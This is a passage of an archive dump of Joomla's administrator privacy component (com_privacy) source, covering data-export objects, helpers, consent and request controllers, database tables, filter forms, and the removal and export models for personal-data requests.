 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyExportDomain', __DIR__ . '/export/domain.php');
JLoader::register('PrivacyExportField', __DIR__ . '/export/field.php');
JLoader::register('PrivacyExportItem', __DIR__ . '/export/item.php');
JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

/**
 * Base class for privacy plugins
 *
 * @since  3.9.0
 */
abstract class PrivacyPlugin extends JPlugin
{
	/**
	 * Database object
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * Affects constructor behaviour. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Create a new domain object
	 *
	 * @param   string  $name         The domain's name
	 * @param   string  $description  The domain's description
	 *
	 * @return  PrivacyExportDomain
	 *
	 * @since   3.9.0
	 */
	protected function createDomain($name, $description = '')
	{
		$domain              = new PrivacyExportDomain;
		$domain->name        = $name;
		$domain->description = $description;

		return $domain;
	}

	/**
	 * Create an item object for an array
	 *
	 * @param   array         $data    The array data to convert
	 * @param   integer|null  $itemId  The ID of this item
	 *
	 * @return  PrivacyExportItem
	 *
	 * @since   3.9.0
	 */
	protected function createItemFromArray(array $data, $itemId = null)
	{
		$item = new PrivacyExportItem;
		$item->id = $itemId;

		foreach ($data as $key => $value)
		{
			if (is_object($value))
			{
				$value = (array) $value;
			}

			if (is_array($value))
			{
				$value = print_r($value, true);
			}

			$field        = new PrivacyExportField;
			$field->name  = $key;
			$field->value = $value;

			$item->addField($field);
		}

		return $item;
	}

	/**
	 * Create an item object for a JTable object
	 *
	 * @param   JTable  $table  The JTable object to convert
	 *
	 * @return  PrivacyExportItem
	 *
	 * @since   3.9.0
	 */
	protected function createItemForTable($table)
	{
		$data = array();

		foreach (array_keys($table->getFields()) as $fieldName)
		{
			$data[$fieldName] = $table->$fieldName;
		}

		return $this->createItemFromArray($data, $table->{$table->getKeyName(false)});
	}

	/**
	 * Helper function to create the domain for the items custom fields.
	 *
	 * @param   string  $context  The context
	 * @param   array   $items    The items
	 *
	 * @return  PrivacyExportDomain
	 *
	 * @since   3.9.0
	 */
	protected function createCustomFieldsDomain($context, $items = array())
	{
		if (!is_array($items))
		{
			$items = array($items);
		}

		$parts = FieldsHelper::extract($context);

		if (!$parts)
		{
			return array();
		}

		$type = str_replace('com_', '', $parts[0]);

		$domain = $this->createDomain($type . '_' . $parts[1] . '_custom_fields', 'joomla_' . $type . '_' . $parts[1] . '_custom_fields_data');

		foreach ($items as $item)
		{
			// Get item's fields, also preparing their value property for manual display
			$fields = FieldsHelper::getFields($parts[0] . '.' . $parts[1], $item);

			foreach ($fields as $field)
			{
				$fieldValue = is_array($field->value) ? implode(', ', $field->value) : $field->value;

				$data = array(
					$type . '_id' => $item->id,
					'field_name'  => $field->name,
					'field_title' => $field->title,
					'field_value' => $fieldValue,
				);

				$domain->addItem($this->createItemFromArray($data));
			}
		}

		return $domain;
	}
}
com_privacy/helpers/export/domain.php000060400000002421152455305270014025 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyExportItem', __DIR__ . '/item.php');

/**
 * Data object representing all data contained in a domain.
 *
 * A domain is typically a single database table and the items within the domain are separate rows from the table.
 *
 * @since  3.9.0
 */
class PrivacyExportDomain
{
	/**
	 * The name of this domain
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	public $name;

	/**
	 * A short description of the data in this domain
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	public $description;

	/**
	 * The items belonging to this domain
	 *
	 * @var    PrivacyExportItem[]
	 * @since  3.9.0
	 */
	protected $items = array();

	/**
	 * Add an item to the domain
	 *
	 * @param   PrivacyExportItem  $item  The item to add
	 *
	 * @return  void
	 *
	 * @since  3.9.0
	 */
	public function addItem(PrivacyExportItem $item)
	{
		$this->items[] = $item;
	}

	/**
	 * Get the domain's items
	 *
	 * @return  PrivacyExportItem[]
	 *
	 * @since  3.9.0
	 */
	public function getItems()
	{
		return $this->items;
	}
}
com_privacy/helpers/export/item.php000060400000002237152455305270013521 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyExportField', __DIR__ . '/field.php');

/**
 * Data object representing a single item within a domain.
 *
 * An item is typically a single row from a database table.
 *
 * @since  3.9.0
 */
class PrivacyExportItem
{
	/**
	 * The primary identifier of this item, typically the primary key for a database row.
	 *
	 * @var    integer
	 * @since  3.9.0
	 */
	public $id;

	/**
	 * The fields belonging to this item
	 *
	 * @var    PrivacyExportField[]
	 * @since  3.9.0
	 */
	protected $fields = array();

	/**
	 * Add a field to the item
	 *
	 * @param   PrivacyExportField  $field  The field to add
	 *
	 * @return  void
	 *
	 * @since  3.9.0
	 */
	public function addField(PrivacyExportField $field)
	{
		$this->fields[] = $field;
	}

	/**
	 * Get the item's fields
	 *
	 * @return  PrivacyExportField[]
	 *
	 * @since  3.9.0
	 */
	public function getFields()
	{
		return $this->fields;
	}
}
com_privacy/helpers/export/field.php000060400000001054152455305270013642 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Data object representing a field within an item.
 *
 * @since  3.9.0
 */
class PrivacyExportField
{
	/**
	 * The name of this field
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	public $name;

	/**
	 * The field's value
	 *
	 * @var    mixed
	 * @since  3.9.0
	 */
	public $value;
}
com_privacy/helpers/html/helper.php000060400000002016152455305270013460 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Privacy component HTML helper.
 *
 * @since  3.9.0
 */
class PrivacyHtmlHelper
{
	/**
	 * Render a status label
	 *
	 * @param   integer  $status  The item status
	 *
	 * @return  string
	 *
	 * @since   3.9.0
	 */
	public static function statusLabel($status)
	{
		switch ($status)
		{
			case 2:
				return '<span class="label label-success">' . JText::_('COM_PRIVACY_STATUS_COMPLETED') . '</span>';

			case 1:
				return '<span class="label label-info">' . JText::_('COM_PRIVACY_STATUS_CONFIRMED') . '</span>';

			case -1:
				return '<span class="label label-important">' . JText::_('COM_PRIVACY_STATUS_INVALID') . '</span>';

			default:
			case 0:
				return '<span class="label label-warning">' . JText::_('COM_PRIVACY_STATUS_PENDING') . '</span>';
		}
	}
}
com_privacy/helpers/removal/status.php000060400000001474152455305270014234 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Data object communicating the status of whether the data for an information request can be removed.
 *
 * Typically, this object will only be used to communicate data will be removed.
 *
 * @since  3.9.0
 */
class PrivacyRemovalStatus
{
	/**
	 * Flag indicating the status reported by the plugin on whether the information can be removed
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	public $canRemove = true;

	/**
	 * A status message indicating the reason data can or cannot be removed
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	public $reason;
}
com_privacy/helpers/privacy.php000060400000005437152455305270012724 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;

/**
 * Privacy component helper.
 *
 * @since  3.9.0
 */
class PrivacyHelper extends JHelperContent
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('COM_PRIVACY_SUBMENU_DASHBOARD'),
			'index.php?option=com_privacy&view=dashboard',
			$vName === 'dashboard'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_PRIVACY_SUBMENU_REQUESTS'),
			'index.php?option=com_privacy&view=requests',
			$vName === 'requests'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_PRIVACY_SUBMENU_CAPABILITIES'),
			'index.php?option=com_privacy&view=capabilities',
			$vName === 'capabilities'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_PRIVACY_SUBMENU_CONSENTS'),
			'index.php?option=com_privacy&view=consents',
			$vName === 'consents'
		);
	}

	/**
	 * Render the data request as a XML document.
	 *
	 * @param   PrivacyExportDomain[]  $exportData  The data to be exported.
	 *
	 * @return  string
	 *
	 * @since   3.9.0
	 */
	public static function renderDataAsXml(array $exportData)
	{
		$export = new SimpleXMLElement('<?xml version="1.0" encoding="utf-8"?><data-export />');

		foreach ($exportData as $domain)
		{
			$xmlDomain = $export->addChild('domain');
			$xmlDomain->addAttribute('name', $domain->name);
			$xmlDomain->addAttribute('description', $domain->description);

			foreach ($domain->getItems() as $item)
			{
				$xmlItem = $xmlDomain->addChild('item');

				if ($item->id)
				{
					$xmlItem->addAttribute('id', $item->id);
				}

				foreach ($item->getFields() as $field)
				{
					$xmlItem->{$field->name} = $field->value;
				}
			}
		}

		$dom = new DOMDocument;
		$dom->loadXML($export->asXML());
		$dom->formatOutput = true;

		return $dom->saveXML();
	}

	/**
	 * Gets the privacyconsent system plugin extension id.
	 *
	 * @return  integer  The privacyconsent system plugin extension id.
	 *
	 * @since   3.9.2
	 */
	public static function getPrivacyConsentPluginId()
	{
		$db    = Factory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('extension_id'))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('privacyconsent'));

		$db->setQuery($query);

		try
		{
			$result = (int) $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		return $result;
	}
}
com_privacy/controllers/request.xml.php000060400000001122152455305270014425 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Request management controller class.
 *
 * @since  3.9.0
 */
class PrivacyControllerRequest extends JControllerLegacy
{
	/**
	 * Method to export the data for a request.
	 *
	 * @return  $this
	 *
	 * @since   3.9.0
	 */
	public function export()
	{
		$this->input->set('view', 'export');

		return $this->display();
	}
}
com_privacy/controllers/consents.php000060400000004172152455305270014002 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Consents management controller class.
 *
 * @since  3.9.0
 */
class PrivacyControllerConsents extends JControllerForm
{
	/**
	 * Method to invalidate specific consents.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function invalidate($key = null, $urlVar = null)
	{
		// Check for request forgeries
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		$ids = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$ids = array_filter($ids);

		if (empty($ids))
		{
			$message = JText::_('JERROR_NO_ITEMS_SELECTED');

			$this->setError($message);
		}
		else
		{
			// Get the model.
			/** @var PrivacyModelConsents $model */
			$model = $this->getModel();

			// Publish the items.
			if (!$model->invalidate($ids))
			{
				$this->setError($model->getError());
			}

			$message = JText::plural('COM_PRIVACY_N_CONSENTS_INVALIDATED', count($ids));
		}

		$this->setRedirect(JRoute::_('index.php?option=com_privacy&view=consents', false), $message);
	}

	/**
	 * Method to invalidate all consents of a specific subject.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function invalidateAll()
	{
		// Check for request forgeries
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		$filters = $this->input->get('filter', array(), 'array');

		if (isset($filters['subject']) && $filters['subject'] != '')
		{
			$subject = $filters['subject'];
		}
		else
		{
			$this->setError(JText::_('JERROR_NO_ITEMS_SELECTED'));
		}

		// Get the model.
		/** @var PrivacyModelConsents $model */
		$model = $this->getModel();

		// Publish the items.
		if (!$model->invalidateAll($subject))
		{
			$this->setError($model->getError());
		}

		$message = JText::_('COM_PRIVACY_CONSENTS_INVALIDATED_ALL');

		$this->setRedirect(JRoute::_('index.php?option=com_privacy&view=consents', false), $message);
	}
}
com_privacy/controllers/requests.php000060400000001653152455305270014022 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Requests management controller class.
 *
 * @since  3.9.0
 */
class PrivacyControllerRequests extends JControllerAdmin
{
	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy|boolean  Model object on success; otherwise false on failure.
	 *
	 * @since   3.9.0
	 */
	public function getModel($name = 'Request', $prefix = 'PrivacyModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_privacy/tables/request.php000060400000003475152455305270012547 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Table interface class for the #__privacy_requests table
 *
 * @property   integer  $id                        Item ID (primary key)
 * @property   string   $email                     The email address of the individual requesting the data
 * @property   string   $requested_at              The time the request was created at
 * @property   integer  $status                    The status of the information request
 * @property   string   $request_type              The type of information request
 * @property   string   $confirm_token             Hashed token for confirming the information request
 * @property   string   $confirm_token_created_at  The time the confirmation token was generated
 *
 * @since  3.9.0
 */
class PrivacyTableRequest extends JTable
{
	/**
	 * The class constructor.
	 *
	 * @param   JDatabaseDriver  $db  JDatabaseDriver connector object.
	 *
	 * @since   3.9.0
	 */
	public function __construct(JDatabaseDriver $db)
	{
		parent::__construct('#__privacy_requests', 'id', $db);
	}

	/**
	 * Method to store a row in the database from the Table instance properties.
	 *
	 * @param   boolean  $updateNulls  True to update fields even if they are null.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.9.0
	 */
	public function store($updateNulls = false)
	{
		$date = JFactory::getDate();

		// Set default values for new records
		if (!$this->id)
		{
			if (!$this->status)
			{
				$this->status = '0';
			}

			if (!$this->requested_at)
			{
				$this->requested_at = $date->toSql();
			}
		}

		return parent::store($updateNulls);
	}
}
com_privacy/tables/consent.php000060400000002775152455305270012532 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Table interface class for the #__privacy_consents table
 *
 * @property   integer  $id       Item ID (primary key)
 * @property   integer  $remind   The status of the reminder request
 * @property   string   $token    Hashed token for the reminder request
 * @property   integer  $user_id  User ID (pseudo foreign key to the #__users table) if the request is associated to a user account
 *
 * @since  3.9.0
 */
class PrivacyTableConsent extends JTable
{
	/**
	 * The class constructor.
	 *
	 * @param   JDatabaseDriver  $db  JDatabaseDriver connector object.
	 *
	 * @since   3.9.0
	 */
	public function __construct(JDatabaseDriver $db)
	{
		parent::__construct('#__privacy_consents', 'id', $db);
	}

	/**
	 * Method to store a row in the database from the Table instance properties.
	 *
	 * @param   boolean  $updateNulls  True to update fields even if they are null.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.9.0
	 */
	public function store($updateNulls = false)
	{
		$date = JFactory::getDate();

		// Set default values for new records
		if (!$this->id)
		{
			if (!$this->remind)
			{
				$this->remind = '0';
			}

			if (!$this->created)
			{
				$this->created = $date->toSql();
			}
		}

		return parent::store($updateNulls);
	}
}
com_privacy/models/remove.php000060400000012615152455305270012361 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyHelper', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/privacy.php');
JLoader::register('PrivacyRemovalStatus', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/removal/status.php');

/**
 * Remove model class.
 *
 * @since  3.9.0
 */
class PrivacyModelRemove extends JModelLegacy
{
	/**
	 * Remove the user data.
	 *
	 * @param   integer  $id  The request ID to process
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function removeDataForRequest($id = null)
	{
		$id = !empty($id) ? $id : (int) $this->getState($this->getName() . '.request_id');

		if (!$id)
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_REQUEST_ID_REQUIRED_FOR_REMOVE'));

			return false;
		}

		/** @var PrivacyTableRequest $table */
		$table = $this->getTable();

		if (!$table->load($id))
		{
			$this->setError($table->getError());

			return false;
		}

		if ($table->request_type !== 'remove')
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_REQUEST_TYPE_NOT_REMOVE'));

			return false;
		}

		if ($table->status != 1)
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_CANNOT_REMOVE_UNCONFIRMED_REQUEST'));

			return false;
		}

		// If there is a user account associated with the email address, load it here for use in the plugins
		$db = $this->getDbo();

		$userId = (int) $db->setQuery(
			$db->getQuery(true)
				->select('id')
				->from($db->quoteName('#__users'))
				->where('LOWER(' . $db->quoteName('email') . ') = LOWER(' . $db->quote($table->email) . ')'),
			0,
			1
		)->loadResult();

		$user = $userId ? JUser::getInstance($userId) : null;

		$canRemove = true;

		JPluginHelper::importPlugin('privacy');

		/** @var PrivacyRemovalStatus[] $pluginResults */
		$pluginResults = JFactory::getApplication()->triggerEvent('onPrivacyCanRemoveData', array($table, $user));

		foreach ($pluginResults as $status)
		{
			if (!$status->canRemove)
			{
				$this->setError($status->reason ?: JText::_('COM_PRIVACY_ERROR_CANNOT_REMOVE_DATA'));

				$canRemove = false;
			}
		}

		if (!$canRemove)
		{
			$this->logRemoveBlocked($table, $this->getErrors());

			return false;
		}

		// Log the removal
		$this->logRemove($table);

		JFactory::getApplication()->triggerEvent('onPrivacyRemoveData', array($table, $user));

		return true;
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $name     The table name. Optional.
	 * @param   string  $prefix   The class prefix. Optional.
	 * @param   array   $options  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   3.9.0
	 * @throws  \Exception
	 */
	public function getTable($name = 'Request', $prefix = 'PrivacyTable', $options = array())
	{
		return parent::getTable($name, $prefix, $options);
	}

	/**
	 * Log the data removal to the action log system.
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function logRemove(PrivacyTableRequest $request)
	{
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

		$user = JFactory::getUser();

		$message = array(
			'action'      => 'remove',
			'id'          => $request->id,
			'itemlink'    => 'index.php?option=com_privacy&view=request&id=' . $request->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);

		/** @var ActionlogsModelActionlog $model */
		$model = JModelLegacy::getInstance('Actionlog', 'ActionlogsModel');
		$model->addLog(array($message), 'COM_PRIVACY_ACTION_LOG_REMOVE', 'com_privacy.request', $user->id);
	}

	/**
	 * Log the data removal being blocked to the action log system.
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   string[]             $reasons  The reasons given why the record could not be removed.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function logRemoveBlocked(PrivacyTableRequest $request, array $reasons)
	{
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_actionlogs/models', 'ActionlogsModel');

		$user = JFactory::getUser();

		$message = array(
			'action'      => 'remove-blocked',
			'id'          => $request->id,
			'itemlink'    => 'index.php?option=com_privacy&view=request&id=' . $request->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'reasons'     => implode('; ', $reasons),
		);

		/** @var ActionlogsModelActionlog $model */
		$model = JModelLegacy::getInstance('Actionlog', 'ActionlogsModel');
		$model->addLog(array($message), 'COM_PRIVACY_ACTION_LOG_REMOVE_BLOCKED', 'com_privacy.request', $user->id);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function populateState()
	{
		// Get the pk of the record from the request.
		$this->setState($this->getName() . '.request_id', JFactory::getApplication()->input->getUint('id'));

		// Load the parameters.
		$this->setState('params', JComponentHelper::getParams('com_privacy'));
	}
}
com_privacy/models/forms/filter_requests.xml000060400000003522152455305270015440 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_privacy/models/fields" />

	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_PRIVACY_FILTER_SEARCH_LABEL"
			description="COM_PRIVACY_SEARCH_IN_EMAIL"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="status"
			type="privacy.requeststatus"
			label="COM_PRIVACY_FILTER_STATUS"
			description="COM_PRIVACY_FILTER_STATUS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="request_type"
			type="privacy.requesttype"
			label="COM_PRIVACY_FILTER_REQUEST_TYPE"
			description="COM_PRIVACY_FILTER_REQUEST_TYPE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_PRIVACY_SELECT_REQUEST_TYPE</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.email ASC">COM_PRIVACY_HEADING_EMAIL_ASC</option>
			<option value="a.email DESC">COM_PRIVACY_HEADING_EMAIL_DESC</option>
			<option value="a.request_type ASC">COM_PRIVACY_HEADING_REQUEST_TYPE_ASC</option>
			<option value="a.request_type DESC">COM_PRIVACY_HEADING_REQUEST_TYPE_DESC</option>
			<option value="a.requested_at ASC">COM_PRIVACY_HEADING_REQUESTED_AT_ASC</option>
			<option value="a.requested_at DESC">COM_PRIVACY_HEADING_REQUESTED_AT_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_privacy/models/forms/filter_consents.xml000060400000004423152455305270015422 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_privacy/models/fields" />

	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_PRIVACY_FILTER_SEARCH_LABEL"
			description="COM_PRIVACY_SEARCH_IN_USERNAME"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="state"
			type="list"
			label="COM_PRIVACY_CONSENTS_FILTER_STATE"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
			<option value="1">COM_PRIVACY_CONSENTS_STATE_VALID</option>
			<option value="0">COM_PRIVACY_CONSENTS_STATE_OBSOLETE</option>
			<option value="-1">COM_PRIVACY_CONSENTS_STATE_INVALIDATED</option>
		</field>

		<field
			name="subject"
			type="sql"
			label="COM_PRIVACY_CONSENTS_FILTER_SUBJECT"
			sql_select="subject"
			sql_from="#__privacy_consents"
			sql_group="subject"
			sql_order="subject ASC"
			key_field="subject"
			translate="true"
			onchange="this.form.submit();"
			>
			<option value="">COM_PRIVACY_CONSENTS_SUBJECT_DEFAULT</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.id DESC"
			validate="options"
			>
			<option value="a.state ASC">COM_PRIVACY_HEADING_STATUS_ASC</option>
			<option value="a.state DESC">COM_PRIVACY_HEADING_STATUS_DESC</option>
			<option value="u.username ASC">COM_PRIVACY_HEADING_USERNAME_ASC</option>
			<option value="u.username DESC">COM_PRIVACY_HEADING_USERNAME_DESC</option>
			<option value="a.user_id ASC">COM_PRIVACY_HEADING_USERID_ASC</option>
			<option value="a.user_id DESC">COM_PRIVACY_HEADING_USERID_DESC</option>
			<option value="a.subject ASC">COM_PRIVACY_HEADING_SUBJECT_ASC</option>
			<option value="a.subject DESC">COM_PRIVACY_HEADING_SUBJECT_DESC</option>	
			<option value="a.created ASC">COM_PRIVACY_HEADING_CREATED_ASC</option>
			<option value="a.created DESC">COM_PRIVACY_HEADING_CREATED_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_privacy/models/export.php000060400000021266152455305270012407 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyHelper', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/privacy.php');

/**
 * Export model class.
 *
 * @since  3.9.0
 */
class PrivacyModelExport extends JModelLegacy
{
	/**
	 * Create the export document for an information request.
	 *
	 * @param   integer  $id  The request ID to process
	 *
	 * @return  PrivacyExportDomain[]|boolean  A SimpleXMLElement object for a successful export or boolean false on an error
	 *
	 * @since   3.9.0
	 */
	public function collectDataForExportRequest($id = null)
	{
		$id = !empty($id) ? $id : (int) $this->getState($this->getName() . '.request_id');

		if (!$id)
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_REQUEST_ID_REQUIRED_FOR_EXPORT'));

			return false;
		}

		/** @var PrivacyTableRequest $table */
		$table = $this->getTable();

		if (!$table->load($id))
		{
			$this->setError($table->getError());

			return false;
		}

		if ($table->request_type !== 'export')
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_REQUEST_TYPE_NOT_EXPORT'));

			return false;
		}

		if ($table->status != 1)
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_CANNOT_EXPORT_UNCONFIRMED_REQUEST'));

			return false;
		}

		// If there is a user account associated with the email address, load it here for use in the plugins
		$db = $this->getDbo();

		$userId = (int) $db->setQuery(
			$db->getQuery(true)
				->select('id')
				->from($db->quoteName('#__users'))
				->where('LOWER(' . $db->quoteName('email') . ') = LOWER(' . $db->quote($table->email) . ')'),
			0,
			1
		)->loadResult();

		$user = $userId ? JUser::getInstance($userId) : null;

		// Log the export
		$this->logExport($table);

		JPluginHelper::importPlugin('privacy');

		$pluginResults = JFactory::getApplication()->triggerEvent('onPrivacyExportRequest', array($table, $user));

		$domains = array();

		foreach ($pluginResults as $pluginDomains)
		{
			$domains = array_merge($domains, $pluginDomains);
		}

		return $domains;
	}

	/**
	 * Email the data export to the user.
	 *
	 * @param   integer  $id  The request ID to process
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function emailDataExport($id = null)
	{
		$id = !empty($id) ? $id : (int) $this->getState($this->getName() . '.request_id');

		if (!$id)
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_REQUEST_ID_REQUIRED_FOR_EXPORT'));

			return false;
		}

		$exportData = $this->collectDataForExportRequest($id);

		if ($exportData === false)
		{
			// Error is already set, we just need to bail
			return false;
		}

		/** @var PrivacyTableRequest $table */
		$table = $this->getTable();

		if (!$table->load($id))
		{
			$this->setError($table->getError());

			return false;
		}

		if ($table->request_type !== 'export')
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_REQUEST_TYPE_NOT_EXPORT'));

			return false;
		}

		if ($table->status != 1)
		{
			$this->setError(JText::_('COM_PRIVACY_ERROR_CANNOT_EXPORT_UNCONFIRMED_REQUEST'));

			return false;
		}

		// Log the email
		$this->logExportEmailed($table);

		/*
		 * If there is an associated user account, we will attempt to send this email in the user's preferred language.
